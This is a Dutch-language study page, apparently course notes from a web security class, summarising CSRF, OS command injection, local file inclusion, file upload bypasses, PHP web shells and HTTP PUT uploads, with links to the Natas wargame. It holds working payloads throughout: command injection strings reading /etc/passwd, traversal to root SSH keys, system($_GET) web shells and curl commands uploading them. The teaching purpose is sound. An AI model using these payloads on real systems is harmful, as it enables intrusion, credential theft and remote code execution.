> ## Documentation Index
> Fetch the complete documentation index at: https://docs.jaspervanzeir.be/llms.txt
> Use this file to discover all available pages before exploring further.

# CSRF, Code Injection & RCE

> Acties forceren, command injection, LFI en web shells uploaden.

<Note>
  In dit onderdeel kwamen kwetsbaarheden aan bod waarbij input acties, bestanden of commando's op de server kan beinvloeden. CSRF zat daarbij aan de client-side kant: acties uitvoeren via een bestaande sessie.
</Note>

## In een oogopslag

| Techniek             | Concept                                                 |
| -------------------- | ------------------------------------------------------- |
| CSRF                 | onzichtbare request: `<img src=".../action?param=...">` |
| OS command injection | shell-separator: `127.0.0.1 ; cat /etc/passwd`          |
| LFI                  | bestandspad-param: `?file=../../../etc/passwd`          |
| File upload bypass   | `.php` binnensmokkelen (dubbel ext / MIME / case)       |
| Web shell -> RCE     | `<?php system($_GET['cmd']); ?>`                        |
| HTTP PUT upload      | `curl.exe -X PUT .../shell.php -d "<?php ... ?>"`       |
| Blind XSS            | stored payload die in admin-context triggert            |

## Technieken in detail

<AccordionGroup>
  <Accordion title="CSRF" icon="link">
    Slachtoffer voert ongewild een actie uit. **3 voorwaarden:** relevante actie ; sessie via cookies ; geen CSRF-token.

    * Zoek de **action-URL** van een knop (de `X` om iets te verwijderen, "change email")
    * GET-CSRF via onzichtbare afbeelding:

    ```html theme={null}
    <img src="https://site/changeEmail.php?email=attacker@evil.com" width=1 height=1>
    ```

    * POST-CSRF = verborgen auto-submit form op je eigen pagina
    * Moderne blocker: **SameSite**-cookie (`Lax`/`Strict`)
  </Accordion>

  <Accordion title="OS command injection" icon="terminal">
    Gebruikersinput belandt in een shell-commando (`shell_exec("ping " . $input)`).

    | Separator | Effect                           |                                                        |
    | --------- | -------------------------------- | ------------------------------------------------------ |
    | `;`       | volgend commando los uitvoeren   |                                                        |
    | `&`       | volgend commando uitvoeren       |                                                        |
    | `&&`      | volgend commando als eerste lukt |                                                        |
    | \`        | \`                               | output doorpijpen (werkt vaak als rest geblokkeerd is) |

    Voorbeelden: `127.0.0.1 ; cat /etc/passwd` ; `127.0.0.1 | cat /etc/passwd` ; `& echo KoenK &`

    **Argument-injectie** (variant): input gaat naar `grep <input> file` -> `a /etc/.../natas11 dictionary.txt`
  </Accordion>

  <Accordion title="LFI - Local File Inclusion" icon="file-arrow-down">
    Een param bepaalt welk bestand geladen wordt.

    * Normaal: `show.php?file=poem.txt` -> misbruik: `show.php?file=../../../etc/passwd`
    * Doel: configfiles, credentials, SSH-keys (`../root/.ssh/id_ed25519`)
    * Met een private key -> `ssh -i id_ed25519 root@<ip>` = RCE
  </Accordion>

  <Accordion title="File upload bypass" icon="upload">
    Krijg een server-side script (`.php`) geupload:

    * **Geen restrictie:** upload gewoon `shell.php`
    * **MIME-check:** upload `.php`, wijzig in Burp `Content-Type: image/jpeg`
    * **Extensie-obfuscatie:** `exploit.jpg.php` ; `exploit.php.jpg` ; `exploit.pHp` ; `exploit.php.` ; `exploit%2Ephp`
    * **Client-side variant:** geen PHP mogelijk? upload HTML/SVG met `<script>` -> stored XSS
  </Accordion>

  <Accordion title="Web shell -> RCE" icon="skull">
    De inhoud van je geuploade `.php`:

    ```php theme={null}
    <?php echo file_get_contents('/tmp/koenk'); ?>      // 1 bestand lezen
    <?php echo system($_GET['command']); ?>             // elk commando: ?command=id
    <?php echo exec("cat /etc/natas_webpass/natas13"); ?>
    ```

    Daarna gewoon opvragen: `GET /uploads/shell.php?command=whoami`
  </Accordion>

  <Accordion title="HTTP PUT upload" icon="cloud-arrow-up">
    Geen uploadformulier? Server staat soms `PUT` toe:

    ```bash theme={null}
    curl.exe -vX PUT http://<target>/upload/shell.php -d "<?php system($_GET['c']); ?>"
    ```

    Antwoord `201 Created` -> bezoek daarna de nieuwe URL.

    <Warning>
      In PowerShell is **`curl.exe`** nodig, anders pakt PowerShell zijn eigen `curl`-alias.
    </Warning>
  </Accordion>
</AccordionGroup>

## Handige curl parameters

| Parameter                       | Wat doet het?                     | Handig wanneer                                     |
| ------------------------------- | --------------------------------- | -------------------------------------------------- |
| `-i`                            | Toont headers en body.            | Statuscodes zoals `201 Created` of redirects zien. |
| `-v`                            | Toont extra requestdetails.       | Uploads, PUT en redirects debuggen.                |
| `-X PUT` / `-X POST`            | Zet de HTTP-methode.              | PUT-upload, POST-form of method bypass testen.     |
| `-d "a=1"`                      | Stuurt data als request body.     | Kleine payloads of web shell inhoud testen.        |
| `--data-binary @file`           | Stuurt bytes uit een bestand.     | Uploads zonder inhoud te wijzigen.                 |
| `-F "file=@shell.php"`          | Stuurt multipart form upload.     | Uploadformulieren nabouwen.                        |
| `-H "Content-Type: image/jpeg"` | Zet of overschrijft content type. | MIME-checks testen.                                |
| `-b "session=..."`              | Stuurt cookies mee.               | Upload of CSRF-actie binnen sessie herhalen.       |
| `--path-as-is`                  | Normaliseert `../` niet weg.      | Traversal in URL-pad testen.                       |
| `-o file.txt`                   | Bewaart response in bestand.      | Gelekte files of command output bewaren.           |

```powershell theme={null}
curl.exe -i -X PUT http://<target>/upload/shell.php -d "<?php system($_GET['c']); ?>"
curl.exe -i -F "file=@shell.php;type=image/jpeg" http://<target>/upload
```

## Recon-commando's

Zodra je command injection hebt:

| Doel         | Linux      | Windows         |
| ------------ | ---------- | --------------- |
| huidige user | `whoami`   | `whoami`        |
| OS           | `uname -a` | `ver`           |
| netwerk      | `ifconfig` | `ipconfig /all` |
| processen    | `ps -ef`   | `tasklist`      |

## Koppeling tussen input en kwetsbaarheid

<Steps>
  <Step title="Veld dat iets uitvoert (ping, lookup)">
    OS command injection hangt vaak samen met separators zoals `;` `&` `&&` `|`.
  </Step>

  <Step title="Param met bestandsnaam (?file=, ?page=)">
    LFI / directory traversal.
  </Step>

  <Step title="Upload-functie">
    Upload-bypasses draaiden in de les rond `.php`, MIME-types, extensie-obfuscatie en web shells.
  </Step>

  <Step title="Geen uploadform, wel schrijfrechten">
    HTTP PUT.
  </Step>

  <Step title="Actie-knop in een ingelogde app">
    CSRF-link bouwen.
  </Step>
</Steps>

## Tools

<CardGroup cols={3}>
  <Card title="curl" icon="terminal" href="https://curl.se/docs/manpage.html">
    Terminaltool voor PUT-requests en handmatige HTTP-calls.
  </Card>

  <Card title="Burp Suite" icon="shield" href="https://portswigger.net/burp">
    Proxytool voor Content-Type, filenames, cookies en request bodies.
  </Card>

  <Card title="Browser DevTools" icon="code" href="https://firefox-source-docs.mozilla.org/devtools-user/">
    Referentie voor action-URL's, hidden inputs en client-side uploadchecks.
  </Card>

  <Card title="PortSwigger Web Security Academy" icon="graduation-cap" href="https://portswigger.net/web-security">
    Labs en referentie voor CSRF, upload bugs, traversal en command injection.
  </Card>

  <Card title="PayloadsAllTheThings" icon="list" href="https://github.com/swisskyrepo/PayloadsAllTheThings">
    Payloadreferentie voor RCE, LFI, upload-bypasses en web shells.
  </Card>
</CardGroup>
